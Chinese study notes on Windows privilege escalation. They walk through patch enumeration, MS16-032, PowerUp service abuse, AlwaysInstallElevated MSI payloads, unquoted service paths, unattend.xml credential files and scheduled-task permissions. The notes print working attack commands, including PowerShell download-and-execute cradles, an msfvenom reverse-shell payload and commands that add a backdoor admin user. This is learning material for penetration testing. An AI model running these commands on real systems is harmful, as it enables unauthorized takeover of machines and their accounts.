内网学习笔记四 | 权限提升分析及防御
Windows操作系统中,权限大概分为四种,分别是User、Administrator、 System、TrustedInstaller
。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller
在常规使用中通常会涉及。
User
:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)Administrator
:管理员权限,可以利用 Windows 的机制将自己提升为 System 权限,以便操作SAM文件等。System
:系统权限。可以对SAM等敏感文件进行读取,往往需要将 Administrator 权限提升到System权限才可以对散列值进行Dump操作。TrustedInstaller
:Windows 中的最高权限,对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller
权限的用户才可以修改系统文件。
Windows操作系统中管理员账号的权限以及Linux操作系统中root账户的权限是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。
- 纵向提权:低权限角色获得高权限角色的权限。
例如,一个WebShell
权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级 。
- 横向提权:获取同级别角色的权限。
例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、web中间件漏洞提权、DLL
劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
4.1 系统内核溢出漏洞提权分析及防范
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁—即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性—如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方法提权,就必须找出目标系统中的0day
漏洞。
4.1.1 通过手动执行命令发现缺失补丁
WMIC是 “Wmdows Management Instrumentation Command-line” 的缩写WMIC是Windows 平台上最有用的命令行工具。使用WMIC,不仅可以管理本地计算机,还可以管理同一域内的所有计算机(需要一定的权限),而且在被管理的计算机上不必事先安装WMIC。WMIC在信息收集和后渗透测试阶段是非常实用的,可以调取和查看目标机器的进程、服 务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装的补丁、启动项、已安装的软 件、操作系统的相关信息和时区等。
#查看当前权限
whoami /groups
#查看系统补丁安装信息
systeminfo | findstr /C:"KB"
#通过wmic查看补丁安装信息
wmic qfe get Caption,Description,HotFixID,InstalledOn
通过手工查找相关补丁是否安装确定是否存在相关漏洞,并加以利用。以MS16-032(KB3139914)
漏洞为例:
#首先查找是否安装补丁 KB3139914
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3139914"
#利用powershell脚本 Invoke-MS16-032.ps1,添加用户为 hacker,密码为 abc@123的用户
Invoke-MS16-032.ps1 -Application cmd.exe -Commandline "/c net user hacker abc@123 /add"
#远程加载,之后继续执行命令
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('repo1')";Invoke-MS16-032.ps1 -Application cmd.exe -Commandline "/c net user hacker abc@123 /add"
repo1: https://github.com/gezginbekir/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
4.1.2 利用Metasploit 发现缺失补丁
利用Metasploit中的enum_patches
模块,可以根据漏洞编号快速找出系统中缺少的补丁。
use post/windows/gather/enum_patches
4.1.3 Windows Exploit Suggester
Gotham Digital Security 发布了—个名为 Windows Exploit Suggester
的工具,该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其需要的只有目标系统的信息。 使用systeminfo
命令获取当前系统的补丁安装情况,并将补丁信息导入 patches.txt
文件。
repo:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
BulletinSearch.xlsx
下载:
https://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982
#安装python依赖指定版本的xlrd,高版本会报错
pip install xlrd==1.2.0
#跟新数据库,更新失败就手动下载BulletinSearch.xlsx文件
python windows-exploit-suggester.py --update
#搜集window平台的systeminfo信息
systeminfo > systeminfo.txt
#查询
python windows-exploit-suggester.py --database BulletinSearch.xlsx --systeminfo systeminfo.txt
看起来效果还可以,不过BulletinSearch.xlsx
到2017年3月14日就没有了,可以使用bitsadmin
的Windows Exploit Suggester
下一代版本,增加了对 Windows 11 等操作系统漏洞和近年来发布的漏洞的检测支持。
repo:https://github.com/bitsadmin/wesng
使用的是definitions.zip
作为数据库,手动下载地址:
https://raw.githubusercontent.com/bitsadmin/wesng/master/definitions.zip
4.1.4 PowerShell 中的 Sherlock脚本
Sherlock 脚本可以快速查找本地特权升级漏洞缺失的软件补丁。
repo: https://github.com/rasta-mouse/Sherlock
支持的漏洞:
- MS10-015:用户模式响铃 (KiTrap0D)
- MS10-092:任务计划程序
- MS13-053:NTUserMessageCall Win32k 内核池溢出
- MS13-081:TrackPopupMenuEx Win32k NULL 页面
- MS14-058:TrackPopupMenu Win32k 空指针取消引用
- MS15-051:ClientCopyImage Win32k
- MS15-078:字体驱动程序缓冲区溢出
- MS16-016:“mrxdav.sys”WebDAV
- MS16-032:辅助登录句柄
- MS16-034:Windows 内核模式驱动程序 EoP
- MS16-135:Win32k 特权提升
- CVE-2017-7199:Nessus Agent 6.6.2 - 6.10.3 Priv Esc
用法:
Import-Module .\Sherlock.ps1
#查找所有漏洞
Find-AllVulns
查找单个漏洞,如果不使用CS可能需要修改脚本:
#1
Set-ExploitTable $MSBulletin $VulnStatus
#2 将所有的1下面加一行2即可
Write-Host $MSBulletin $VulnStatus
#查找单个漏洞
Find-MS14058
4.1.5 利用一些在线平台
粘贴补丁号验证是否存在相关漏洞。
4.2 Windows操作系统配置错误利用
4.2.1 系统服务权限配置错误
Windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如 果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。
Windows服务是以System权限运行的,因 此,其文件夹、文件和注册表键值都是受强访问控制机制保护的,但是,在某些情况下,操作系统中仍然存在—些没有得到有效保护的服务。
系统服务权限配置错误(可写目录漏洞)有如下两种可能:
服务未运行:
攻击者会使用任意服务替换原来的服务,然后重启服务。
服务正在运行且无法被终止:
这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用 DLL劫持技术并尝试重启服务来提权。
1. PowerUp
#本地导入执行
powershell -nop -exec bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
#远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"
#本地下载执行
powershell -nop -exec bypass -c "IEX (New-Object Net.Webclient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks"
PowerUp
列出了可能存在问题的所有服务,并在 AbuseFunction
部分直接给出了 利用方式。在这里检测出存在ADWS
服务漏洞,Path值为该服务的可执行程序的路径。
powershell -nop -exec bypass -c "IEX (New-Object Net.Webclient).DownloadString('.\PowerUp.ps1');"Invoke-ServiceAbuse -ServiceName "ADWS" hacker -Password Passw0rd
2. MetaSploit
对应的利用模块是service_permissions。选择 “AGGRESSIVE” 选项,可以利用目标机器上每-个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作。
service_permissions 模块使用两种方法来获得System权限:
- 如果
meterpreter
以管理员权限运行,该模块会尝试创建并运行一个新的服务; - 如果当前权限不允许创建服务,该模块会判断哪些 服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建—个可执行程序,其文件名和安装路径都是随机的。
执行 “run” 命令,会自动反弹—个新的meterpreter(System权限)。
4.2.2 注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated
是—个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NTAUTHORITY\SYSTEM
权限来安装恶意的MSI(MicrosoRWindowsInstaller)
文件。
1. PathsAlwaysInstallElevated
漏洞产生的原因
原因:用户开启了WindowsInstaller
特权安装功能
在 “运行” 设置框中输入 “gpedit.msc”,打开组策略编辑器。
- 组策略一计算机配置—管理模板—Windows 组件—Windows Installer—永远以高特权进行
安装:选择启用。 - 组策略—用户配置—管理模板一Windows 组件—Windows Installer—永远以高特权进行安
装:选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”。
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
HKEY LOCAL MACHINE\SOFTWARE\Policies Microsoft\Windows\Installer\AlwaysInstall Elevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2. Windows Installer 的相关知识点
Windows Installer 是 Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。
Windows Installer 分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的。Windows Installer 通过 Msiexec.exe 安装 MSI 文件包含的程序。MSI 文件是 Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe 用于安装 MSI文件,一般在运行Microsoft Update 安装更新或者安装一些软件的时候使用,占用内存较多。简单地说,双击 MSI文件就会运行Msiexec.exe。
3. PowerUp下的实战利用
在这里,可以使用PowerUp的Get-RegistryAlwaysInstallElevated
模块来检查注册表键是否被设置。如果AlwaysInstallElevated
注册表键已经被设置,就意味着MSI文件是以System权限运行的。运行该模块的命令如下,“True”表示已经设置。
powershell -nop -exec bypass -c "IEX (New-Object Net.Webclient).DownloadString('.\PowerUp.ps1');"Get-RegistryAlwaysInstallElevated
添加用户,运行Write-UserAddMSI
模块,生成MSI文件并执行。
msiexec 参数解释:
安装选项
</package | /i> <Product.msi>
安装或配置产品
/a <Product.msi>
管理安装 - 在网络上安装产品
/j<u|m> <Product.msi> [/t <Transform List>] [/g <Language ID>]
公布产品 - m 公布到所有用户,u 公布到当前用户
</uninstall | /x> <Product.msi | ProductCode>
卸载产品
显示选项
/quiet
安静模式,无用户交互
/passive
无人参与模式 - 只显示进度栏
/q[n|b|r|f]
设置用户界面级别
n - 无用户界面
b - 基本界面
r - 精简界面
f - 完整界面(默认值)
更新选项
/update <Update1.msp>[;Update2.msp]
应用更新
/uninstall <PatchCodeGuid>[;Update2.msp] /package <Product.msi | ProductCode>
删除产品的更新
4. MetaSploit模块always_install_elevated
use exploit/windows/local/always_install_elevated
set LHOST 192.168.2.6
set SESSION 1
run
5. 用Msi Wrapper生成msi文件进行提权
该软件的主要作用就是将exe
转化为msi
文件,下载地址:https://www.exemsi.com/download/
使用MSFvenom
生成 exec
木马,之后再使用MSI Wrapper
进行打包为 MSI
。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.6 LPORT=4444 -f exe-only >3.exe
创建一个新的upgrade code 继续下一步即可,最终生成MSI的文件,运行即可上线,权限直接为SYSTEM。
msiexec /qn /i 3.msi
6. 利用MSFvenom
生成msi文件:
# kali执行
msfvenom -p windows/exec CMD=calc.exe -f msi > calc.msi
# 目标机器运行查看权限为SYSTEM
msiexec /qn /i calc.msi
tasklist /v | findstr "calc.exe"
4.2.3 可信任的服务器路径漏洞
可信任服务路径(包含空格且没有引号的路径)漏洞利用了 Windows 文件路径解析的特性,并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能性:
- 如果路径与服务有关,就任意创建一个服务或者编译Service模板。
- 如果路径与可执行文件有关,就任意创建一个可执行文件。
1. Trusted Service Paths 漏洞产生的原因
因为 Windows 服务通常都是以System 权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。例如,有一个文件路径C:\Program Files\Some Folder\Service.exe
。对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
例如:
C:\Program.exe
C:\ProgramFiles\Some.exe
C:\ProgramFiles\SomeFolder\Service.exe
因此,如果一个被 “适当” 命名的可执行程序被上传到受影响的目录中,服务一旦重启,该程序就会以System 权限运行(在大多数情况下)。
2. MetaSploit模块trusted_service_path
使用WMIC
进行漏洞检测,服务所对应的路径没有被引号引起来,且路径中包含空格:
# 这个只是粗略筛选,服务路径是否包含空格还要自行判断
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
icacls "C:\Program Files\phpstudy\phpstudy_pro\\"
之后使用Windows的内置工具icacls
对目录权限进行判断,主要判断是否可写。本次以phpstudy
为例,查看权限(BUILTIN
代表本地组):
Everyone:(OI)(CI)(F)
的意思是,对该文件夹,用户有读、写、删除其下文件、删除其子目录的权限。
- Everyone:用户对这个文件夹有完全控制权限。也就是说,所有用户都具有修改这个文件夹的权限-
- (M):修改权限
- (F):完全访问权限
- (CI):容器继承,从属容器将继承访问控制项
- (OI):对象继承,从属文件将继承访问控制项
之后替换服务,将后门文件命名为原服务文件,重启服务即可获取SYSTEM权限的shell(也可以使用模块exploit/windows/local/trusted_service_path
直接利用)。
sc stop phpStudySrv
sc start phpStudySrv
其中phpStudyServer.exe
为木马文件,phpStudyServer_bak.exe
为原服务的备份文件。
可以看到不一会儿会话就被关闭了,这是由于当—个进程在Windows操作系统中启动后,必须与跟务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止这个进程。在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中(可以使用set AutoRunScipt migrate -f
,自动迁移进程命令)
4.2.4 自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员账号和密码等信息。这些文件列举如下(可以对整个系统进行检查)。
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
也可以执行如下命令,搜索 Unattend.xml
文件,Unattend.xml
属于应答文件(无人参与文件,可以理解作自动化安装系统文件),可用于在安装期间修改你的映像中的 Windows 设置。
dir /b /s c:\Unattend.xml
环境搭建参考:
- https://www.cnblogs.com/xiaoyunyun100fen/p/10231108.html
- https://www.cnblogs.com/CasonChan/p/5544346.html
本次以win7
家庭版为例:测试使用unattend.xml
如下:
<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
<settings pass="windowsPE">
<component name="Microsoft-Windows-International-Core-WinPE" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SetupUILanguage>
<UILanguage>zh-cn</UILanguage>
</SetupUILanguage>
<InputLocale>zh-cn</InputLocale>
<SystemLocale>zh-cn</SystemLocale>
<UILanguage>zh-cn</UILanguage>
<UserLocale>zh-cn</UserLocale>
</component>
<component name="Microsoft-Windows-International-Core-WinPE" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SetupUILanguage>
<UILanguage>zh-cn</UILanguage>
</SetupUILanguage>
<InputLocale>zh-cn</InputLocale>
<SystemLocale>zh-cn</SystemLocale>
<UILanguage>zh-cn</UILanguage>
<UserLocale>zh-cn</UserLocale>
</component>
<component name="Microsoft-Windows-Setup" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<Diagnostics>
<OptIn>false</OptIn>
</Diagnostics>
<DiskConfiguration>
<WillShowUI>OnError</WillShowUI>
<Disk wcm:action="add">
<DiskID>0</DiskID>
<WillWipeDisk>true</WillWipeDisk>
<CreatePartitions>
<CreatePartition wcm:action="add">
<Order>1</Order>
<Type>Primary</Type>
<Size>100</Size>
</CreatePartition>
<CreatePartition wcm:action="add">
<Order>2</Order>
<Type>Primary</Type>
<Extend>true</Extend>
</CreatePartition>
</CreatePartitions>
<ModifyPartitions>
<ModifyPartition wcm:action="add">
<Format>NTFS</Format>
<Label>System Reserved</Label>
<Order>1</Order>
<Active>true</Active>
<PartitionID>1</PartitionID>
<TypeID>0x27</TypeID>
</ModifyPartition>
<ModifyPartition wcm:action="add">
<Active>true</Active>
<Format>NTFS</Format>
<Label>OS</Label>
<Letter>C</Letter>
<Order>2</Order>
<PartitionID>2</PartitionID>
</ModifyPartition>
</ModifyPartitions>
</Disk>
</DiskConfiguration>
<ImageInstall>
<OSImage>
<InstallTo>
<DiskID>0</DiskID>
<PartitionID>2</PartitionID>
</InstallTo>
<WillShowUI>OnError</WillShowUI>
<InstallToAvailablePartition>false</InstallToAvailablePartition>
</OSImage>
</ImageInstall>
<UserData>
<AcceptEula>true</AcceptEula>
<FullName>administrator</FullName>
<Organization></Organization>
</UserData>
<EnableFirewall>false</EnableFirewall>
</component>
<component name="Microsoft-Windows-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<Diagnostics>
<OptIn>false</OptIn>
</Diagnostics>
<DiskConfiguration>
<WillShowUI>OnError</WillShowUI>
<Disk wcm:action="add">
<DiskID>0</DiskID>
<WillWipeDisk>true</WillWipeDisk>
<CreatePartitions>
<CreatePartition wcm:action="add">
<Order>1</Order>
<Type>Primary</Type>
<Size>100</Size>
</CreatePartition>
<CreatePartition wcm:action="add">
<Order>2</Order>
<Type>Primary</Type>
<Extend>true</Extend>
</CreatePartition>
</CreatePartitions>
<ModifyPartitions>
<ModifyPartition wcm:action="add">
<Format>NTFS</Format>
<Label>System Reserved</Label>
<Order>1</Order>
<Active>true</Active>
<PartitionID>1</PartitionID>
<TypeID>0x27</TypeID>
</ModifyPartition>
<ModifyPartition wcm:action="add">
<Active>true</Active>
<Format>NTFS</Format>
<Label>OS</Label>
<Letter>C</Letter>
<Order>2</Order>
<PartitionID>2</PartitionID>
</ModifyPartition>
</ModifyPartitions>
</Disk>
</DiskConfiguration>
<ImageInstall>
<OSImage>
<InstallTo>
<DiskID>0</DiskID>
<PartitionID>2</PartitionID>
</InstallTo>
<WillShowUI>OnError</WillShowUI>
<InstallToAvailablePartition>false</InstallToAvailablePartition>
</OSImage>
</ImageInstall>
<UserData>
<AcceptEula>true</AcceptEula>
<FullName>administrator</FullName>
<Organization></Organization>
</UserData>
<EnableFirewall>true</EnableFirewall>
</component>
</settings>
<settings pass="generalize">
</settings>
<settings pass="generalize">
<component name="Microsoft-Windows-Security-SPP" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SkipRearm>1</SkipRearm>
</component>
</settings>
<component name="Microsoft-Windows-Security-SPP-UX" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SkipAutoActivation>true</SkipAutoActivation>
</component>
<component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ComputerName>-PC</ComputerName>
<ProductKey>HYF8J-CVRMY-CM74G-RPHKF-PW487</ProductKey>
<TimeZone>China Standard Time</TimeZone>
</component>
<settings pass="oobeSystem">
<component name="Microsoft-Windows-International-Core" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<InputLocale>zh-cn</InputLocale>
<UILanguage>zh-cn</UILanguage>
<UserLocale>zh-cn</UserLocale>
</component>
<component name="Microsoft-Windows-International-Core" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<InputLocale>zh-cn</InputLocale>
<UILanguage>zh-cn</UILanguage>
<UserLocale>zh-cn</UserLocale>
</component>
<component name="Microsoft-Windows-Shell-Setup" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<RegisteredOwner>administrator</RegisteredOwner>
<OOBE>
<HideEULAPage>true</HideEULAPage>
<NetworkLocation>Home</NetworkLocation>
<ProtectYourPC>3</ProtectYourPC>
<HideWirelessSetupInOOBE>false</HideWirelessSetupInOOBE>
<SkipMachineOOBE>false</SkipMachineOOBE>
<SkipUserOOBE>false</SkipUserOOBE>
</OOBE>
<DisableAutoDaylightTimeSet>false</DisableAutoDaylightTimeSet>
<FirstLogonCommands>
<SynchronousCommand wcm:action="add">
<RequiresUserInput>false</RequiresUserInput>
<Order>1</Order>
<Description>Disable Auto Updates</Description>
<CommandLine>reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v AUOptions /t REG_DWORD /d 1 /f</CommandLine>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Description>Control Panel View</Description>
<Order>2</Order>
<CommandLine>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel" /v StartupPage /t REG_DWORD /d 1 /f</CommandLine>
<RequiresUserInput>true</RequiresUserInput>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>3</Order>
<Description>Control Panel Icon Size</Description>
<RequiresUserInput>false</RequiresUserInput>
<CommandLine>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel" /v AllItemsIconView /t REG_DWORD /d 0 /f</CommandLine>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>4</Order>
<RequiresUserInput>false</RequiresUserInput>
<CommandLine>cmd /C wmic useraccount where name="administrator" set PasswordExpires=false</CommandLine>
<Description>Password Never Expires</Description>
</SynchronousCommand>
</FirstLogonCommands>
<AutoLogon>
<Password>
<Value>123456</Value>
<PlainText>true</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>administrator</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>123456</Value>
<PlainText>true</PlainText>
</Password>
<Description></Description>
<DisplayName>administrator</DisplayName>
<Group>Administrators</Group>
<Name>administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
</component>
<component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<RegisteredOwner>administrator</RegisteredOwner>
<OOBE>
<HideEULAPage>true</HideEULAPage>
<NetworkLocation>Home</NetworkLocation>
<ProtectYourPC>3</ProtectYourPC>
<HideWirelessSetupInOOBE>false</HideWirelessSetupInOOBE>
<SkipMachineOOBE>false</SkipMachineOOBE>
<SkipUserOOBE>false</SkipUserOOBE>
</OOBE>
<DisableAutoDaylightTimeSet>false</DisableAutoDaylightTimeSet>
<FirstLogonCommands>
<SynchronousCommand wcm:action="add">
<RequiresUserInput>false</RequiresUserInput>
<Order>1</Order>
<Description>Disable Auto Updates</Description>
<CommandLine>reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v AUOptions /t REG_DWORD /d 1 /f</CommandLine>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Description>Control Panel View</Description>
<Order>2</Order>
<CommandLine>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel" /v StartupPage /t REG_DWORD /d 1 /f</CommandLine>
<RequiresUserInput>true</RequiresUserInput>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>3</Order>
<Description>Control Panel Icon Size</Description>
<RequiresUserInput>false</RequiresUserInput>
<CommandLine>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel" /v AllItemsIconView /t REG_DWORD /d 0 /f</CommandLine>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>4</Order>
<RequiresUserInput>false</RequiresUserInput>
<CommandLine>cmd /C wmic useraccount where name="administrator" set PasswordExpires=false</CommandLine>
<Description>Password Never Expires</Description>
</SynchronousCommand>
</FirstLogonCommands>
<AutoLogon>
<Password>
<Value>123456</Value>
<PlainText>true</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>administrator</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>123456</Value>
<PlainText>true</PlainText>
</Password>
<Description></Description>
<DisplayName>administrator</DisplayName>
<Group>Administrators</Group>
<Name>administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
</component>
</settings>
<settings pass="offlineServicing">
<component name="Microsoft-Windows-LUA-Settings" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<EnableLUA>false</EnableLUA>
</component>
</settings>
<settings pass="offlineServicing">
<component name="Microsoft-Windows-LUA-Settings" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<EnableLUA>false</EnableLUA>
</component>
</settings>
</unattend>
放入目录:C:\Windows\System32\sysprep
下,之后执行命令重启即可:
sysprep /generalize /oobe /shutdown /unattend:unattend.xml
主要关注该文件中存在的账户以及密码(明文或者base64
编码),可以使用metasploit
模块post/windows/gather/enum_unattend
:
虽然配置了密码,但是好像没生效,所以就是空密码了。
4.2.5 计划任务
查询计划任务:
#英文
schtasks /query /fo LIST /v | findstr /C:"Task To Run" | findstr ".exe"
#中文
schtasks /query /fo LIST /v | findstr /C:"要运行的任务" | findstr ".exe"
AccessChk
是 SysInterals
套件中的一个工具,由MarkRussinovich
编写,用于在Windows中进行一些系统或程序的高级查询、管理和故障排除工作,AccessChk
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
由于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而AccessChk
是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。第一次运行SysIntemals
工具包里的工具时,会弹出一个许可协议对话框。在这里,可以使用参数 /accepteula
自动接受许可协议,命令如下。
#自动接受许可协议
accesschk.exe /accepteula
#查看指定目录的权限配置情况
accesschk.exe -dqv "C:\Microsoft" /accepteula
#查看Everyone帐户对C:\下的权限配置情况
accesschk.exe -uwq "Everyone" c:\
#列出AuthenticatedUsers账户的在C盘下的缺陷权限配置
accesschk.exe -uwqs "AuthenticatedUsers" c:\*.*
参数说明:
-d 仅处理目录或顶级键
-e 仅显示明确设置的完整性级别(仅限 Windows Vista 和更高版本)
-q 省略横幅
-r 仅显示具有读取权限的对象
-s 递归
-t 对象类型过滤器,例如"section"
-u 抑制错误
-v 详细(包括 Windows Vista 完整性级别)
-w 仅显示具有写入权限的对象
……………………(不再一一列举)
- 目标环境有python3环境时可以使用以下脚本进行批量查找
可以直接对要执行的计划任务进行筛选(计划任务模式不能为已禁用),默认生成only_task_path.txt
(保存计划任务路径信息)以及all_check.txt
(所有的检查结果)。
python3 schtasks_check.py
- 在目标机器没有python环境时,可以导出计划任务详情,在本机用以上脚本生成单独的计划任务路径信息,之后上次目标机器使用批处理对路径进行检查。
# 导出目标机器计划任务情况,注意文件编码调整为UTF-8
schtasks /query /fo LIST /v > task.txt
# 默认生成only_task_path.txt保存计划任务路径信息
python3 schtasks_check.py -f task.txt
之后去目标机器运行批处理,注意要有:accesschk.exe
@echo off
for /f %%i in (only_task_path.txt) do echo %%i && accesschk.exe /accepteula -uwqv %%i
pause
4.2.6 Empire 内置模块
Empire
内置了 PowerUp
的部分模块。输入usemodule privesc/powerup
